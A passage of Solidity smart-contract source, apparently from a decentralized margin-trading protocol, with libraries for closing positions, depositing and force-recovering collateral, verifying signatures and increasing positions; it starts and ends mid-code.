return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
